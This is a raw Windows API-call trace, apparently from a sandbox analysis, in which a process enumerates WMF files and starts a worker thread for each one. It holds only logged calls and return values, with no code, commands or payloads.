	[0246.249] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234c
	[0246.251] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.252] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c97c200, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c97c200, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE01160_.WMF", cAlternateFileName="")) returned 1
	[0246.252] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2350
	[0246.254] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.254] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efa1c00, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5efa1c00, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE01172_.WMF", cAlternateFileName="")) returned 1
	[0246.254] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2354
	[0246.256] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.257] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58e6600, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58e6600, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3f9c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE01191_.WMF", cAlternateFileName="")) returned 1
	[0246.257] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2358
	[0246.259] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.259] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e9600, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea5e9600, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE01661_.WMF", cAlternateFileName="")) returned 1
	[0246.259] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x235c
	[0246.262] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.262] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE01797_.WMF", cAlternateFileName="")) returned 1
	[0246.262] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2360
	[0246.264] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.264] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02120_.WMF", cAlternateFileName="")) returned 1
	[0246.264] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.265] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2364
	[0246.266] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.267] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02169_.WMF", cAlternateFileName="")) returned 1
	[0246.267] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2368
	[0246.268] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.269] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8378b700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8378b700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x75e2, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02262_.WMF", cAlternateFileName="")) returned 1
	[0246.269] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x236c
	[0246.271] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.271] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x824e, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02263_.WMF", cAlternateFileName="")) returned 1
	[0246.271] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2370
	[0246.273] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.274] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa753f100, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa753f100, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x62b2, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02265_.WMF", cAlternateFileName="")) returned 1
	[0246.274] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2374
	[0246.407] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.408] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f02900, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3f02900, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x78e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02267_.WMF", cAlternateFileName="")) returned 1
	[0246.408] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2378
	[0246.410] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.411] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe53000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fe53000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6f26, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02270_.WMF", cAlternateFileName="")) returned 1
	[0246.411] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x237c
	[0246.413] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.413] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9ebd00, ftCreationTime.dwHighDateTime=0x1c0033f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f9ebd00, ftLastWriteTime.dwHighDateTime=0x1c0033f, nFileSizeHigh=0x0, nFileSizeLow=0xb9c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02278_.WMF", cAlternateFileName="")) returned 1
	[0246.413] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2380
	[0246.415] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.416] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2108500, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2108500, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x6928, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02280_.WMF", cAlternateFileName="")) returned 1
	[0246.416] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2384
	[0246.418] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.418] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32fdb00, ftCreationTime.dwHighDateTime=0x1bf3250, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32fdb00, ftLastWriteTime.dwHighDateTime=0x1bf3250, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02282_.WMF", cAlternateFileName="")) returned 1
	[0246.418] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2388
	[0246.420] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.421] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb65800, ftCreationTime.dwHighDateTime=0x1bf3488, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffb65800, ftLastWriteTime.dwHighDateTime=0x1bf3488, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02285_.WMF", cAlternateFileName="")) returned 1
	[0246.421] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x238c
	[0246.423] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.423] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bf9300, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bf9300, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02287_.WMF", cAlternateFileName="")) returned 1
	[0246.423] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2390
	[0246.425] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.425] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x76e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02288_.WMF", cAlternateFileName="")) returned 1
	[0246.426] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2394
	[0246.428] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.429] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5850, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02293_.WMF", cAlternateFileName="")) returned 1
	[0246.429] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2398
	[0246.431] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.432] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406e600, ftCreationTime.dwHighDateTime=0x1bf3a32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x406e600, ftLastWriteTime.dwHighDateTime=0x1bf3a32, nFileSizeHigh=0x0, nFileSizeLow=0x5328, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02296_.WMF", cAlternateFileName="")) returned 1
	[0246.432] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x239c
	[0246.434] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.434] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf911f00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf911f00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02369_.WMF", cAlternateFileName="")) returned 1
	[0246.434] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23a0
	[0246.437] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.437] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa494d400, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa494d400, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x39f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02522_.WMF", cAlternateFileName="")) returned 1
	[0246.438] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23a4
	[0246.440] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.440] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d2a, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02950_.WMF", cAlternateFileName="")) returned 1
	[0246.441] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23a8
	[0246.641] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.642] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc70, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02957_.WMF", cAlternateFileName="")) returned 1
	[0246.642] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23ac
	[0246.644] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.644] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b17c400, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b17c400, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03236_.WMF", cAlternateFileName="")) returned 1
	[0246.645] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23b0
	[0246.647] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.647] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b00e400, ftCreationTime.dwHighDateTime=0x1bd4afa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b00e400, ftLastWriteTime.dwHighDateTime=0x1bd4afa, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03241_.WMF", cAlternateFileName="")) returned 1
	[0246.647] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23b4
	[0246.650] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
